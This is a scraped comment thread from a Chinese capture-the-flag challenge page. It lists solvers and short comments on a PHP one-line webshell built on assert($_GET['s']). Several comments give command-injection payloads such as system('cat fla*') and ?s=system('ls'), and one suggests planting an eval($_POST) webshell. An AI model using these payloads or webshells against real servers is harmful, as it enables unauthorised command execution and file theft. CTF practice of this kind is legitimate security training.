评分(10)
解题动态
liyimanfan 攻破了该题 1小时前
qn9301 攻破了该题 12小时前
wsx68696 攻破了该题 12小时前
atctf 攻破了该题 12小时前
lipingctf 攻破了该题 13小时前
cykai999 攻破了该题 17小时前
河马 攻破了该题 21小时前
jvfnvd.vl 攻破了该题 22小时前
xong_bai 攻破了该题 1天前
999哲111 攻破了该题 1天前
qianhuan 攻破了该题 1天前
15620346617 攻破了该题 2天前
3145145 攻破了该题 2天前
gc 攻破了该题 2天前
Warp 攻破了该题 3天前
bugku0521 攻破了该题 3天前
1606143712 攻破了该题 3天前
zrlht 攻破了该题 3天前
多米今天犯错了没 攻破了该题 3天前
评论
zxmals 4年前
举报
assert($_GET['s']) 这就是一句话过狗
answer 4年前
举报
就离谱 ?system(dir) .........文件名真不错，爱了爱了
iFound 4年前
举报
重点是描述的话，然后是小马用GET构造请求
god536 4年前
举报
/?s=system('cat fla*')
a2cai 4年前
举报
?我还以为作者要整条狗来看门呢，结果直接$_GET['s']=system('ls')就啥都出来了......
ximing 4年前
举报
根据描述应该应该是一个一句话木马，直接提交命令system(ls)，然后在直接访问flag文件
shan 4年前
举报
用system(dir)来过这个题目，是作者本来的思路吗。看评论好像大家用的方法还挺多种的。
yinyue 4年前
举报
不多说了，套娃了解下
eleven 5年前
举报
?s=system("cat *.txt")
naihe567 5年前
举报
没法用POST的webshell，可以自己创建一个命令执行eval($_POST[‘xxx’]) 密码xxx